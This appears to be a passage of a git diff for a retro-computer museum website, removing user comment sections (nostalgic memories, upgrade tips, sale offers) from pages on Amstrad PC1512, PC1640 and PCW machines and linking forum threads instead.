640. IT''S CPU CLOCKED AT 4.7 MHZ ! - - author: Dave (USA) - date: Wednesday 28th December 2011 - text: This was our family''s first X86 compatible PC, way back when. I''m an American, too$-I have no idea how we ended up with one of these British machines. We bought it at a retail store in Worcester, Massachusetts USA. Theres nothing on this site about them being sold in America. - - author: Luke (USA) - date: Friday 14th October 2011 - text: I think this thing could upgrade to EGA video....also I packed my with a full sized Roland LAPC-I full sized sound card....I think I still have everything including media..DOS and GEN... - - author: Simon - date: Thursday 15th September 2011 - text: Back when I worked for the Amstrad User Group in Sunderland, UK, one of my first jobs was to upgrade a users PC1512. I fitted 18 separate memory chips, they came in 2 plastic tubes, giving the PC 640KB of memory. Secondly I formatted and fitted a 10MB Western Digital Hardcard. This combined a 10MB hard drive with a hard drive controller on 1 8bit ISA card. Each of the bad sectors, and there were lots, was listed on the drive and when you formatted it you had to tell the software to avoid them. - - author: JORGE GOMES (Portugal) - date: Thursday 25th August 2011 - text: i have one of this, with HD 20 MB. But i have not a floppy disk with operating system for run...do you have one ? - - author: TGH (Suffolk/UK) - date: Saturday 20th August 2011 - text: hmmm...My old 1512HD was dug out of the attic the other day. Put some AA batteries under the monitor and fired it up and got a similar message. After a few switch offs/ons it sprang to life, complete with ascii menus my uncle and I created to access the HD programmes via batch files.....happy days. Do you have any of the system discs? PCDOS I think was what came with the 1512... - - author: Michael King (UK) - date: Wednesday 27th July 2011 - text: |- - Hi! I''ve got a 1512 HD20 that was my father''s.\ - When I boot it up it says - - Hard disc drive not ready\ - Insert System Disc into drive A - - I''m trying to get the data off the disc and was hoping I could caddy it or connect it in some way to another machine - some sort of ISA to ..USB/PCI or whatever... - - Any ideas appreciated\ - Michael - - author: Vlad (Ukraine) - date: Monday 2nd May 2011 - text: And at me was such!!!! In 1995.With a colour (EGA) monitor, two 5" floppy drivers, power button behind the monitor and Norton Commander inside - - author: Henk Siewert (The Netherlands) - date: Tuesday 29th March 2011 - text: |- - I have a Amstrad 1512 still running.\ - It is a PC1512DD, dual 5 ¼ drive. I have replaced the 2nd drive with a 3 ½ inch 720K drive.\ - The machine has a Iomega ZIP-100 connected to its printer port. Giving me 3 30Mbyte hard disks!\ - This is possible thanks to a special device driver. It is complete with the mouse and an extra Trojan light pen. It is perfect for running all kinds of MS-DOS software. I even run CP/M 2 en 3 software by using the NICE22 en Z80mu emulators.\ - On this machine I wrote, in the 80’s, my very first program for money. A Management Information System in dBase III for a big company here in the Netherlands.\ - This is a nice ‘old’ machine. I hope it will run for many more years. - - author: Graham (Australia) - date: Tuesday 8th March 2011 - text: My Grandparents had 2 of these - firstly the standard 1512 with 1 (and later 2) floppies. Then they "upgraded" to a 2nd 1512 but this time with the 20HD!! Every school holidays I would get up early and switch it on and play Pool, Digger, moonbugs and HEAPS of other games (even gwbasic games!) When I moved out of home 7 years ago my Grandparents gave me the HD20 machine, more for memories sake, complete with the dot matrix printer and ALL the game/program discs. Today I turned it on for the first time in about a year - but alas - it seems the harddrive has died and I cannot boot it up :( I Agree with @Freeway_Speedmaster - you really can "love" this machine. I''ll now try to see if I can fond someone who can fix it for me. - - author: Tom Rattray (Edinburgh, Scotland) - date: Thursday 13rd January 2011 - text: |- - I bought a 1512 with in 1986/87 to do my MEng project on. Cost a huge chunk of my student grant at the time (yes, that''s a sign of how old it is). My memories are brilliant of this machine - I used it jury-rigged to a BBC B with camera for stereo image processing. Several of my fellow students ended up buying one as well - it was a laboratory, a games machine (Bruce Lee) and a thesis-generator all in one. At the time, it was extraordinary and never let me down. - - And then today, long after I gave up my 1512, I have a customer call with a hard drive problem where the 1512 would have given me the the infrastructure I needed! Dang. - - Never throw anything away (but when I got married, the 1512 went the same way as my old Return of the Jedi arcade machine). Tom - - author: Freeway_Speedmaster (Athens, GREECE) - date: Wednesday 24th November 2010 - text: \- Back in 1987 (just 15 years old) an Amstrad 1512DD was my third home computer in the row out from the Amstrad family, previous ones were the CPCs 664 and 6128. Just good memories only from all of them and especially from the 6128 and of-course the 1512. This particular ''home computer'' (at last then an affordable compatible PC) absolutely just opened the door back then to everyone that was really interested in the IT world. I have still somewhere 3" floppies with games and my first programming attempts with the CPCs (which gave them away to younger relatives of mine many-many years ago) and I am still keeping safe and intact the 1512 on a self in the play-room, which by-the-way still works perfectly! Today (38 years old) unfortunately, with the excemption of Apple sometimes, there are are not any more Computers that you can get in ''love'' with this way! :-) - - author: Jörgen Svensson (SE) - date: Wednesday 10th November 2010 - text: |- - Hello!\ - I have one of those 1512''s... I like it, but sadly enough, my fiancee doesn''t, so at the moment it is located in the basement.. I also have a 1640, with 640K RAM... and both are equipped with harddisks...\ - I have some of the documentation as well, so I thought I should ask if there is any need of scanning those binders to put here?\ - Take care, and keep the history alive! - - author: citokinch (london ontario) - date: Wednesday 27th October 2010 - text: the amstrad was my first computer and although it had limitations this old 8088 never saw a techy nor did it ever break down. When we finally recycled it several years ago it was still working after over 20 years, if only my Compaqs were so reliable. - - author: BUTCH - date: Friday 8th October 2010 - text: |- - The 1512 was my first ''proper'' computer. I bought it in 1990 for UK£199. It had a colour monitor and two 5.25 floppy drives, It came with GEM disks. GEM was fantastic, my first ever GUI, and at the time I lost a couple of nights sleep because I made two back-up copies of GEM instead of the one that the licence allowed. After a couple of months using it, I bought a 30mb Winchester drive that cost twice as much ad the 1512, but opened up another world to me. With a daisywheel printer I had a complete office package for less than UK£500.\ - Alan Sugar, now Lord Sugar, was probably just in the market for profit then and maybe didn''t care that much for computing himself, but he opened up computers to a whole new generation because of his aggressive cost cutting and marketing skills. - - author: Sean D. - date: Thursday 16th September 2010 - text: |- - I managed to get hold of a boxed (with EVERYTHING) Amstrad PC 1512 with the PC-MM monochrome monitor. - - The Amstrad is fine inexpensive DOS machine, but you really need more than one disk drive or have a hard-drive to properly enjoy it. Loaded with 512k of RAM (not the full 640k) and three 8-bit ISA expansion slots, it''s mildly upgradable, but the cards would be very difficult to find, because 8-bit expansion cards are getting scarce now. The monitor is large and reasonable when displaying text, but it fails awfully at anything graphical. - - The redeeming thing is that it will run most IBM software, and has an excellent keyboard, although the layout isn''t standard. The keys aren''t quite where you''d think! (there are three Del keys, to top it off!) - - The people at Amstrad put some ideas into the PC 1512 that should be in new machines, like the depression in the top so the monitor doesn''t slide around, and easily replaceable AA clock batteries. (which hide under the monitor when it''s on top). - - A tip: If you''re going to get a PC 1512, get one with more than one disk drive and a colour screen. Bottom end won''t always cut the mustard. - - author: Marty H (Australia) - date: Sunday 29th August 2010 - text: Surprised that the PC1512 is 1986 vintage! My mum and dad bought a PC1512 HD20 from K Mart in 1991 for around 1400 Australian dollars. You couldn''t buy a decent computer (386, 486) for under $2000 at the time so this was it. But it carried my mum through university from 1992 to 1995, using the Ability software package, which combined word processor, spreadsheet, database and modem communication software. I learned some MS-DOS (and so did my mum!) using the included tutorial disk. The computer eventually broke down in 1999 - the hard drive had failed but a replacement HDD was hard to justify because we didn''t really need the computer, and I thought a replacement would be hard to find and/or expensive. It wasn''t much but I have indispensable (to this day!) knowledge and a foundation in computers because of this thing. - - author: Fredrik Larsson (Sweden) - date: Tuesday 20th April 2010 - text: My father bought the Amstrad PC1512 in 1988, just a year before I was born. 22 years later and the computer still works perfectly without any blemishes. I grew so fond with it that I kept and maintained it over all these years$ today I not only regularly play old classics like Digger (Play it over at http://digger.org!), Castle Adventure, Q-Bert and others but I also have a small library of games and programs I made in GW-Basic for it. Some of the programs I even released online on my website. I hope my precious old jewel survives for decades to come! - - author: Lars (Germany) - date: Saturday 18th October 2008 - text: |- - My father bougt himself an used Amstrad PC1512 in 1993. Although I never really understood why he did that (I also shared a brand new 486 with him), this machine was one of the most interesting and amazing computers I have ever seen. We replaced the B-floppy by a 30 MB NEC hard disk which looked quite odd (black panel) but worked perfectly.\ - Though it was far away from being a high-end pc, its strange features made me love it. First, the clock and calendar was powered by 4 AA-type batteries being placed on top of the case and only covered by the monitor placed above. The loudspeaker was not simply a beeper, it war REALLY loud but could be reduced by a volume potentiometer placed beside it. On the backside of the Keyboard there was a 9-pin joystick connector to support a joystick built for Commodore and Atari systems. It was no real pc-type gameport (which used a 15-pin connector) but only offered the possibility to use a joytick instead of the cursor-keys that were disabled when a joytick was connected. Anyway, it was fun to use the joystick instead of the cousor-keys, also Commodore-type joysticks were cheaper and did not need to be calibrated.\ - The case itself offered a wide empty space, I never found what this was for.\ - I loved this machine but sadly my father didn''t. Only about one year later he replaced it by a used 386 pc. - - author: Remi Dumont (France) - date: Tuesday 24th July 2007 - text: I used to have one of these and loved it. One thing I remember, though, is that when I bought it, the retailer told me the HD version wasn't produced anymore and I eventually acquired the DD version. Anybody heard about this ? - - author: Alejandro Corral (Earth) - date: Sunday 10th June 2007 - text: This model was expandable to 640k with 18 memory chips. I did to mine with KM4164B-12 ones. Later motherboard revisions would use less memory chips, so there was only 6 empty sockets for memory expansion. - - author: sakis (greece) - date: Thursday 3rd May 2007 - text: Hey. My dad has bought a new Amstrad pc 1512 when I was 12yo.it is still working and I can play some nice games like Double Dragon I & II, Digger, F-16, Space Quest, logo writer.Even now that I am 33yo with a dual core PC and 256MB graphic card CGA looks beatiful. Only my Floppy with GEM Desktop is not working any more.Does anyone has the program to send me? - - author: Kaitz (Estonia) - date: Wednesday 1st November 2006 - text: I bought 1512 dd in 1999 for about 6,6 $ and with manual. it is monocrome monitor, later found joystic and its working fine. I love this machine. - - author: stanislav pecho (Czech Republic) - date: Tuesday 15th February 2005 - text: I am owner of this one.....still working without issues. I remember, when i was installing a Text editor T602 from 20 pieces of 5,25 discs....it was very funny job :)) - - author: topaz (germany) - date: Thursday 3rd February 2005 - text: I had an "altered" Amstrad/Schneider PC 1512SD as my first computer, bought by daddy in 1988. The case still said 1512SD, but it had a 20 MB Hard-Drive built in, apparently done by the computer shop we bought it at. Also, its monochrome screen could work in CGA and Hercules mode, there was a button at the back that you had to push in order to go from one mode to the other. - - author: ian Henderson (uk) - date: Sunday 21st November 2004 - text: Just come across this page, I have in storage! a 1512 dd with a colour monitor, also a dmp3186 that I bought as a package late 87 early 88. as it was the recommended unit for the Open University foundation course inTechnology. Luckily the computer has lasted longer than my OU education. Hard to believe that my phone has more memory than my 1512. Anybody know how to get downloads onto a 5 1/4 drive from a broadband ethernet link - - author: 1512 lover (UK) - date: Wednesday 10th September 2003 - text: |- - Just to inform other people that are interested in the Amstrad 1512, that there is now a "full" forum for fellow 1512 fans to discuss anything about the 1512 in. From stories to "I want to give my 1512 to a good home."\ - The link is: http://majury.force9.co.uk/bb2php/index.php\ - and is associated with the Amstrad 1512 Homepage.\ - http://www.amstrad1512.co.uk - - author: jose luis (tarragona / spain) - date: Thursday 29th May 2003 - text: When i buy this computer, the price in Spain was 901 Euros (150000 Pts). This price was for Amstrad 1512, with 1 disk 5/12", monocrome monitor and printer Amstrad (i don't remember the model) - - author: _ (_) - date: Friday 27th September 2002 - text: I brought one in Greece from U.K., without electric fan, in Dec 1986 and it still works perfectly. Sept. 2002 - - author: eb (Grenoble (France)) - date: Thursday 9th May 2002 - text: |- - Est-ce que quelqu'un est intéressé pour acheter un Amstrad PC1512 en parfait état de marche?\ - Si oui, envoyez moi un petit mail related: - /museum/amstrad-pc-1640 - /museum/amstrad-ppc-512-640 diff --git a/content/museum/amstrad-pc-1640.md b/content/museum/amstrad-pc-1640.md index 71b71925..6ae3cbad 100644 --- a/content/museum/amstrad-pc-1640.md +++ b/content/museum/amstrad-pc-1640.md @@ -58,120 +58,11 @@ params: value: Most of the standard IBM/PC cards tabs: - links + forum_thread: 39 links: - title: Intel GEM page url: http://www.seasip.demon.co.uk/Gem/index.html text: a page dedicated to the GEM graphical user interface - comments: - - author: Steve Skepper (UK) - date: Tuesday 28th January 2020 - text: |- - I was teaching spotty teenagers database sand spreadsheets, and programming in BASIC, at a govt funded private training college . We bought 24 of these machines. They had 640k of RAM, and 1 megabyte hard drive. AMstrad made thiier own hard drives originally, and they would run so hot the plastic on the front of the HDD would soften up, and you could leave your thumbprint in it. ALL the HDD''s failed after three months and were repalced with Toshiba Drives. - - The other faill was the platters on the drives would expand with heat, so if you formatted the drive when it was cold, it then wouldnt be able to read the tracks when the drive was hot, and vice versa. - - At the same time i remember British Gas was going to buy half a million of them , then backed out when they discovered the power cables had no earth wire. - - author: Misses Robata - date: Wednesday 14th December 2016 - text: |- - An EGA PC. NOT POOP! - - EGA is the minimum requirements for a PC not to be considered poop. - - The EYES! MY PRECIOUS EYES! - - author: Jim (Boston, USA) - date: Thursday 17th March 2016 - text: I bought one of these through and American Express deal back in the late 80s. It was a surprisingly competent machine, and I ran some very complex simulations for regenerative braking and for composite materials with it. Turbo Pascal was my platform of choice, and some of my simulations could keep this machine cranking for over an hour. But it always worked. Looking back, those were good times. - - author: Colin McCormick (Plymouth, UK) - date: Wednesday 17th June 2015 - text: These things were sold off cheap due to overproduction, with no HDD or monitor for about £99. Myself and some work colleagues bought them and rigged up our own power supply arrangements, since no monitor meant no power supply. I built a little gadget which tweaked the timings of the sync pulses so it gave a really good display on my Sony TV set. Then I bought a used 20MB hard disk and controller card. I used it for years, especially with Locoscript word processor and database. Bit slow at times, but a very cheap PC. - - author: James Dougherty (United States) - date: Tuesday 28th May 2013 - text: Although this was not my first computer it was my first PC and second with a hard-drive. My mother bought it here in the States via an American Express offer I believe. Great machine. Programmed in Turbo Basic $ Pascal. Lots of BBS time also! - - author: Johnb (UK) - date: Sunday 18th March 2012 - text: |- - We had the dual disk drive model with hi-res EGA monitor. Used it mainly for Turbo Pascal 5.0. I remember it being pretty fast. Problem was the monitor fan was NOISY! - - I think we paid about £600 for it in 1988. - - author: Johnb (UK) - date: Sunday 18th March 2012 - text: |- - We had the dual disk drive model with hi-res EGA monitor. Used it mainly for Turbo Pascal 5.0. I remember it being pretty fast. Problem was the monitor fan was NOISY! - - I think we paid about £600 for it in 1988. - - author: AK (Moldova) - date: Tuesday 9th August 2011 - text: |- - JC, you surely must mean 10 Megs, NOT 10 Gigs.\ - And Amstrad 1640 was the first computer I ever did see and use. Wasn''t mine, but I still had access. - - I guess I''m getting nostalgic.. sob. - - author: JC in Jacksonville, Florida - date: Friday 15th July 2011 - text: |- - This was my first "IBM" PC. I traded a Commodore 128 setup ( with virtually every add-on ) for this machine.\ - It was AMAZING! A 10 Gig HD - more than I would ever need :)\ - I hacked a 3.2 inch 720kb drive on to the side of it, mounted an external fan on the monitor and used it for YEARS untill I upgraded to an 8 MHz PC. - - author: Jim (Boston, USA) - date: Tuesday 12th July 2011 - text: |- - I bought one of these while in college through American Express. I did a ton of programming with it using Turbo Pascal. Overall it worked fine. I remember that the keyboard wiring was unique, but that Keytronic had a keyboard that worked with it when the dip switches were set correctly. - - While computers are now vastly more powerful, I dare say that the finite element analysis program I wrote on the Amstrad had this machine doing harder-core work than the flashy hardware of today. Sure, a simulation run took twenty minutes, but who cares? The answers came out okay... - - author: Andy Gibbs - date: Sunday 7th November 2010 - text: My memory of the Amstrad 1640 was forgetting to park the hard drive heads, moving it (even just across the table) and having to reformat and reinstall everything! I think it happened quite a few times. The other thing was some rather cryptic bios error message which was eventually tracked down to needing to replace the AA batteries under the monitor base..... - - author: Dom (UK) - date: Wednesday 11th August 2010 - text: This was my first experience of computers after the ZX81 and my first experience of DOS. It gave me a measure of how computers were developing from hobbyist little boxes like the ZX81 to much more useable desktop machines. I had a lot of fun messing around on it in the ''90s, I suppose it was old then. It came with a tetris game that had soviet space ships as background and I''d very much like to find that old version. I don''t know if it is the original version of Tetris, probably not, but the Russian theme seems very fitting to Tetris. I can''t find it anywhere on the net. 1995 seems a lvery long time ago! Somehow when I got my Win95 machine in ''96, I lost something like losing a childhood as I was swept into the modern world of windows and the internet.. - - author: Ewan Cronin (UK) - date: Friday 22nd June 2007 - text: I have an 1640 and it still works!!. the only problem is finding disks that work:). Was a hand me down from my dad and has seen me though college and to this day(after 20 years still going,beat that laptops) - - author: David P (Australia) - date: Saturday 13rd January 2007 - text: I remember having a PC 1640, it had a strange mouse which i had trouble getting to work. My PC 1640 had a 20 MB hard drive from Conner which i still have. My uncle gave this to me with Space Quest 2 and 3. - - author: Michel Borduas (Montreal, Quebec, Canada) - date: Saturday 23rd September 2006 - text: After buying and learning on a SINCLAIR Z80 around 1984, this was my first "fast and powerful" computer which I bought around 1987 or 88. I kept it until 1995 when I migrated to Windows 95 and a more powerful machine. Surprisingly, my AMSTRAD PC-1640 (they were sold under that number in Canada) still work today and I gave it to a local farmer who still use old DOS program (mostly dBase III and Lotus 1,2,3). I'm always surprised to see what he can do with it!!! - - author: Tim Parsons (uk) - date: Tuesday 13rd June 2006 - text: |- - For a while, it was slightly cheaper to buy a floppy-disk-only model with a 32MB Western Digital or Miniscribe "hard card" occupying one-and-a-half of the three available expansion slots at the back of the machine. Sadly, the one place there was no decent EM shielding was in the expansion bay cover immediately above where the drive was, and the natural angle for the monitor (which rested in a rectangular indentation on top of the system case) was pushed right back so the back of it rested on the expansion bay cover. The hardcards lived about 18 months then died suddenly, whereas the "supplied and fitted" internal 20Mb hard disks seemed to go on forever. - - We actually found these were a better choice than the then "corporate standard" of Apricots, as they conformed more closely to the IBM spec than the three-times-the-price Apricots did. - - Oh yes; and there was a decent little text editor, written by Roland Perry of Amstrad, that was indispensable! - - author: dave (essex, england) - date: Wednesday 22nd June 2005 - text: I remember my father owning one of these when i was a kid, he bought it second hand and even then it was old so i was suprised to find, around 1998 whist working in a chemist, they actualy used one to store patients detail! - - author: Alex L (Milton, ON, Canada) - date: Thursday 9th September 2004 - text: This was my families first computer as well. Ours although bought in North America was labeled PC1640. After we sold it to my grandfather, he used it for several years, and once again it has returned to me, it still runs. It just thinks the year is 1980, the batteries died, and I don't need it to date everything. - - author: J.T (Fin) - date: Wednesday 31st March 2004 - text: |- - My first computer too!! and i´ts still working.\ - sorry if my english is bad - - author: Elliot (Burnaby, BC, CAN) - date: Wednesday 9th July 2003 - text: |- - This was my first computer. I used to waste my time playing Where in Time is Carmen SanDiego, Ancient Art of War, Ancient Art of War at Sea, and Sierra's Quest for Glory I. I recall rather fondly making stupid-looking posters on GEM-Paint and printing them on our really loud 9-pin printer. - - My last experience with this computer was at the house of my former babysitter. She had the same model. It wasn't working at the time. We checked the disk drives and found that one of the kids had shoved coins inside. - - author: Malc (UK) - date: Tuesday 22nd April 2003 - text: My first PC! I still have the technical reference manual somewhere. I bought the twin floppy model and added a 30MB hardcard which went in an ISA slot. I can't remember if it had colour or mono screen though - probably mono. Replaced it with an Olivetti 386SX thing. - - author: Jeremy Pavleck (Madison, WI USA) - date: Saturday 28th December 2002 - text: |- - This was one of my first PC's. I believe it was called the 6400 in the US though. Used to play all sorta of games on it as well as make horrible cards and banners on the yucky, slow dot matrix printer.\ - Saved up all summer and bought a co-processor for it. But it in wrong and it never worked again. Oh well! - - author: Martin Kukac (Czech Republic) - date: Tuesday 14th May 2002 - text: |- - I need schematics of POWER and KEYBOARD connector of Amstrad PC1640. Please send me it to my mail, if you have it.\ - Thanks related: - /museum/amstrad-pc-1512 - /museum/amstrad-ppc-512-640 diff --git a/content/museum/amstrad-pcw-16.md b/content/museum/amstrad-pcw-16.md index 8a8b0e72..b77aceff 100644 --- a/content/museum/amstrad-pcw-16.md +++ b/content/museum/amstrad-pcw-16.md @@ -65,6 +65,7 @@ params: - software - emulators - links + forum_thread: 68 photos: - title: LARGE VIEW subtitle: '' @@ -158,44 +159,6 @@ params: - title: 16 Storm, the PCW-16 site url: http://www.aster.fsnet.co.uk/pcw16.htm text: Reviews, tutorials, news and links - comments: - - author: roger jowett (ulster) - date: Saturday 26th May 2012 - text: |- - MSDOS 3.5" 1.44 MB double-density floppy disk. - - hi density\ - double density was 720kb on the pc - - author: Graham Holloway (Stevenage, UK) - date: Thursday 28th July 2011 - text: I still have my PCW-16, from Dixons, with the Citizen Dot Matrix printer. I used to love playing with the Rosanne O/S and loading CP/M which allowed me to play and make games on the machine, someone provided me the neccessary floppys from PCW Format magazine, not sure that still exists. Great little machine, as long as the screen holds out I''ll keep it. - - author: Alan Birt (England) - date: Sunday 9th May 2010 - text: May 2009. Further to my previous posting about the PCW16 some five years ago, may I report that I am STILL using my PCW16 for all my general correspondence. What a splendid machine it is and still giving faithful service. Since I purchased it for a pittance, it has also proved to be great value for money. May it long continue ! - - author: Lee (UK) - date: Wednesday 24th June 2009 - text: Hi, the interpreter is finished and available! I am uploading it in the next few days. I found the author who was more than happy to release the code as Open Source! So check out my site soon for updates! I also have programs to download, manuals, articles and more there and coming soon! - - author: MS (Dreamland) - date: Saturday 19th August 2006 - text: |- - As Alan Birt mentions, the PCW series still has a handful of faithful fans, thanks to its simplicity and sole focus on basic writing/office tasks. Sure, they're not remotely comparable feature-wise to modern PCs, but still orders of magnitude simpler to use if you just want to write a letter or report. - - Anyhoo, some extra tidbits about the PcW 16: - - The OS, Rosanne, is an astounding achievement; written solely in Z80 assembler, it incorporates a graphical WIMP environment with the usual menus, dialog boxes, etc. that are de rigeur on multi-GHz machines. Additionally, it's really nice to program for -- a good set of well-documented OS calls means you can knock up a graphical app in a few lines of Z80 asm. Someone started on a BASIC interpreter, but it never came to light. The only way to use another language (hosted) is to use the CP/M port. - - PcW 16s have severe build-quality issues. I've had two fail on me, and from speaking to other '16ers', it's not uncommon for machines to stop working. Inside the machine, it's quite clear it was cheaply put together. A shame, because the keyboards were great! - - Hardly any third-party programs exist for the '16. An accounting program was produced after launch, and there was the idea to utilise the machine's serial port (with modem) for rudimentary internet access, but that died out as the PCW line ended. By far the most significant 'external program' (in '16 parlance!) is John Elliott's CP/M emulator which, although not supporting graphics, is excellent for text-mode CP/M programs, thereby extending the '16's software capability dramatically. - - Also of note is John's 'ANNE' emulator, based on his 'JOYCE' program, which emulates a PcW 16. It's currently in mid-development status but works pretty well. - - The '16 is a fascinating little machine, but was perhaps doomed from the start -- computer shops are more interested in selling expensive and absurdly complicated machines to Auntie Ethel than a simple little word processor and spreadsheet. Same thing I see happening with the em@iler, which my parents use happily! Not much commission in flogging those devices :-) - - If anyone's still using a '16, it'd be great to read about it on this site. Oh, and this is the first time I've visited this site for a couple of years -- kudos to everyone involved. It's retrostalgic tastic! - - author: Alan Birt (UK) - date: Monday 6th December 2004 - text: I am still using a PcW16 for all of my writing - my PC is used only for e-mail; websites and digital photography. I have several spare PcW16s, bought for next-to-nothing, which I am keeping as spares in case my first machine "blows up". \[I also have one example of all the Amstrad PCWs, just for nostalgia\] The PC word processing programs are too complicated for me, but I am a retired pensioner. oc_id: 52 source: url: https://web.archive.org/web/20230608075417/http://www.old-computers.com/museum/computer.asp?c=52 diff --git a/content/museum/amstrad-pcw-8256-8512.md b/content/museum/amstrad-pcw-8256-8512.md index cc9d221c..a02475eb 100644 --- a/content/museum/amstrad-pcw-8256-8512.md +++ b/content/museum/amstrad-pcw-8256-8512.md @@ -68,6 +68,7 @@ params: - emulators - links - docs + forum_thread: 199 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -269,429 +270,6 @@ params:  compiled/archived by Charles Da Silva\  type of document : PDF\  source : [Amstrad.CPC](http://amstrad.cpc.free.fr/) - comments: - - author: Geoff Barnard (England) - date: Tuesday 14th February 2023 - text: I''ve now got a second PCW, managed to get a 8512 with the higher capacity floppy drive. Just needed the rubber bands replacing. Still much activity on the forum (CPCWiki), people using the Gotek virtual drive for PCW games, general programming for CP/M and whatever. Large amounts of software available as virtual disk images - - author: Geoff Barnard (UK) - date: Thursday 19th January 2023 - text: Hello back to Keith Saunders! Please tell me more. I''m still busy around computing, various forums, esp re vintage computers - - author: Geoff Barnard (UK) - date: Thursday 19th January 2023 - text: Hello back to Keith Saunders! Please tell me more. I''m still busy around computing, various forums, esp re vintage computers - - author: Geoff Barnard (UK) - date: Thursday 19th January 2023 - text: Hello back to Keith Saunders! Please tell me more. I''m still busy around computing, various forums, esp re vintage computers - - author: Geoff Barnard (UK) - date: Thursday 19th January 2023 - text: Hello back to Keith Saunders! Please tell me more. I''m still busy around computing, various forums, esp re vintage computers - - author: Jon (UK) - date: Sunday 2nd October 2022 - text: 'There is a project to build your own PCW WiFi Modem here: https://github.com/VapourSoft/PCWWiFiModem' - - author: Keith Saunders (Stockton-on-Tees, England) - date: Wednesday 24th August 2022 - text: I''d like to just say hello to Geoff Barnard who gave me enough interest in computers to allow me to make a life out of it. - - author: Geoff Barnard (Guisborough, England) - date: Monday 2nd May 2022 - text: Jerri - I''d be interested to know more about your game project. I still have my PCW, it is still working, I still use it. As do many others. It is still a perfectly viable CP/M computer. Still much interest in such retro machines. Geoff, England - - author: Jerri Kohl (United States) - date: Monday 14th February 2022 - text: To those who are interested in selling their PCW/Joyce, I am interested. I wish to port a series of RPGs (Role Playing Games) that I am developing to this platform. - - author: Jerri Kohl (United States) - date: Monday 14th February 2022 - text: To those who are interested in selling their PCW/Joyce, I am interested. I wish to port a series of RPGs (Role Playing Games) that I am developing to this platform. - - author: Katy (UK) - date: Saturday 31st July 2021 - text: Hi We are in London I have in the cellar an Amstrad 8512 with monitor, printer, user guide and a number of games and floppy discs Also a BBC micro Would anyone be interested in these? thanks Katy - - author: Andy O''Connell (United Kingdom) - date: Tuesday 25th February 2020 - text: I''m trying to sell my father''s old PCW8512, with printer and several disks. It still works, I understand. Any tips on where to sell such a thing? - - author: Geoff Barnard (Guisborough England) - date: Tuesday 17th December 2019 - text: My 8256, bought 1985, is still working fine, although the disk drive needed repair some years ago. I still use it, as a useful CP/M machine, and in conjunction with active forum for vintage computers. My machine now sports 3.5", 5.25" and virtual 8Mb HDs. Hopefully will keep going for a few years yet. Certainly NOT for sale, NO WAY! - - author: Robin smith (Honey Brook, Pa. USA) - date: Tuesday 16th January 2018 - text: |- - Have an original Amstrad 8256 in box, never used or taken\ - Out of box . Also have many many extra discs , ribbons\ - For sale . - - author: Robin smith (Honey Brook, Pa. USA) - date: Tuesday 16th January 2018 - text: |- - Have an original Amstrad 8256 in box, never used or taken\ - Out of box . Also have many many extra discs , ribbons\ - For sale . - - author: Robin smith (Honey Brook, Pa. USA) - date: Tuesday 16th January 2018 - text: |- - Have an original Amstrad 8256 in box, never used or taken\ - Out of box . Also have many many extra discs , ribbons\ - For sale . - - author: Robin smith (Honey Brook, Pa. USA) - date: Tuesday 16th January 2018 - text: |- - Have an original Amstrad 8256 in box, never used or taken\ - Out of box . Also have many many extra discs , ribbons\ - For sale . - - author: camincha benvenutto (Pacifica CA USA) - date: Sunday 17th December 2017 - text: Thanks 4 giving me this opportunity 2 offer my AMSTRAD 8256 LocoScript 3 Family $ its printer, keyboard, manuals. brand new tapes just 4 Ur picking it all up. Have not used it in over 10 yrs. Printer was not in gd shape. - - author: Francis - date: Friday 22nd September 2017 - text: Hi, I am Francis. I have a collection of Amstrad 8512 disks which I would like to convert to PC floppies. Can anyone help? Preferably by someone in The Netherlands. Many thanks. - - author: Jeff Joseph (USA) - date: Monday 19th June 2017 - text: If anyone is still interested in letting go a PCW please email jeffrey_josph@yahoo.com. Must be willing to ship to USA. Please give description (RAM, drives, $ disks included, software, condition) and how much you want. Thanks. - - author: edward (London UK) - date: Wednesday 29th March 2017 - text: |- - I have an Amstrad PCW 8526 Personal computer Have everything it has almost never been used if anyone is interested ?\ - Have printer discs etc etc - - author: Robin (Honey Brook, Pa. U.S.A) - date: Friday 30th December 2016 - text: |- - I have a 1985 Amstrad PCW 8256 new in box , never\ - Used. Lots of extra discs and printer ribbon . - - For sale , serious inquiries only.\ - R1974vw@hotmail.com - - author: Brian Mindt (ND/USA) - date: Tuesday 20th December 2016 - text: I have a PCW 8256 for sale. we bought it new and almost never used it. maybe 5 hours of time on it. have a few discs with it. email ironstallioncycles at hotmail. com or call 701-845-5196 - - author: Dan (Texas, USA) - date: Sunday 15th November 2015 - text: |- - hi,\ - I am a British computer collector living in Texas. I am trying to hunt down an Amstrad PCW expansion pack that gives the PCW a serial/parallel capability. Would love to hear from someone that is willing to sell one of these. - - author: Phil Sketchley (uk) - date: Thursday 26th February 2015 - text: I HAVE A PCW 8512 WITH DISCS AND PRINTER STILL IN ORGINAL PACKAGE. IF ANYONE INTERESTED PLEASE CONTACT ME ON P.SKETCHLEY@BTINTERNET.COM - - author: Wim (The Netherlands) - date: Saturday 13rd September 2014 - text: |- - I have a Schneider Joyce Computer, complete.\ - Seems to be working but the drive belt of the top drive needs to be repaired. See http://www.fvempel.nl/amstradcg/metia/edefpcw.html\ - Lots of disks, software, manuals (most in Dutch).\ - Someone interested? - - author: Cumbrianet (United Kingdom) - date: Saturday 17th May 2014 - text: HI, is there anyone here would willing to help (online) with Pcw 8512 rebuild/repair - - author: Stephen Tweed (UK, England) - date: Sunday 1st September 2013 - text: I have about twenty CF2 discs. One is a Locoscript 2 disc. Free to a good home if you pay the P$P - - author: lester (western australia) - date: Wednesday 7th August 2013 - text: |- - I have a amstrad 8512 in good working order with all parts, computer key board printer 3 inch disc programs printer tapes book every thing for sale\ - regards lester - - author: Manu (Belgium) (Ostend/Belgium) - date: Monday 18th February 2013 - text: |- - Update: In time of my last posting, i have back my original PCW 8256 the person that had it, all those years died :( , only needed to repair the drive belt, and working like new. - Now i have my original Schneider PCW Joyce 8256, a spanish Amstrad PCW 8256, Schneider PCW Joyce 8512, Amstrad PCW 8512 (upgraded 8256 and upgrade 3,5 inch drive), another Amstrad 8256 for daily use, and one Amstrad 8256 for spare parts. and before i forget also Amstrad PCW 9512 with Daisy Wheel Printer, and 7 Matrix Printers. - - In 2 years time, i expanded my collection PCW Software boxed, from Desktop Publishers, a lot of Games, and many other tools, also extra hardware like, Memory upgrades to 1,5 MB ! for a PCW, and Mouse and handheld scanner... Books.. - - To Andy it was not all horrible, as kid it was hard to find in belgium PCW software and hardware, and its nice to see all these things working today days. - - The PCW made me start my Retro Computer Collection, now i have around 67 Computers, 12 connected for 